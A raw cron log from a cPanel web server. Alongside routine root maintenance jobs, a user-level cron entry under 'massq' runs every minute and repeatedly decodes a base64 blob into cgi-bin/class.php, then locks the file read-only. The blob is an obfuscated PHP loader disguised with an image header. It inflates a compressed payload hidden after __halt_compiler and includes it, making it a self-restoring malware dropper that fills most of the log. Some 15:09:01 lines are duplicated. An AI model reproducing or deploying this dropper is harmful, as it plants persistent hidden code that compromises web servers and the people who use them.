Sep  6 15:00:01 server CROND[30388]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:00:01 server CROND[30387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:01:01 server CROND[31250]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 15:01:01 server CROND[31251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:01:01 server CROND[31252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:01:01 server CROND[31253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:01:01 server run-parts(/etc/cron.hourly)[31250]: starting 0anacron
Sep  6 15:01:01 server run-parts(/etc/cron.hourly)[31271]: finished 0anacron
Sep  6 15:02:01 server CROND[31634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:02:01 server CROND[31635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:02:01 server CROND[31637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:03:01 server CROND[32011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:03:01 server CROND[32012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:03:01 server CROND[32013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:04:01 server CROND[32387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:04:01 server CROND[32386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:04:01 server CROND[32388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:05:01 server CROND[32766]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 15:05:01 server CROND[301]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:05:01 server CROND[32767]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 15:05:01 server CROND[305]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 15:05:01 server CROND[322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:05:01 server CROND[304]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:05:01 server CROND[324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:05:01 server CROND[303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:06:01 server CROND[1348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:06:01 server CROND[1352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:06:01 server CROND[1355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:07:01 server CROND[1731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:07:01 server CROND[1732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:07:01 server CROND[1733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:08:01 server CROND[2138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:08:01 server CROND[2139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:08:01 server CROND[2140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:09:01 server CROND[2522]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 15:09:01 server CROND[2523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:09:01 server CROND[2526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:09:01 server CROND[2525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:09:01 server CROND[2522]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 15:09:01 server CROND[2523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:09:01 server CROND[2526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:09:01 server CROND[2525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:09:01 server CROND[2523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:09:01 server CROND[2526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:09:01 server CROND[2525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:10:01 server CROND[2953]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 15:10:01 server CROND[2960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:10:01 server CROND[2956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:10:01 server CROND[2959]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 15:10:01 server CROND[2957]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:10:01 server CROND[2958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:10:01 server CROND[2962]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
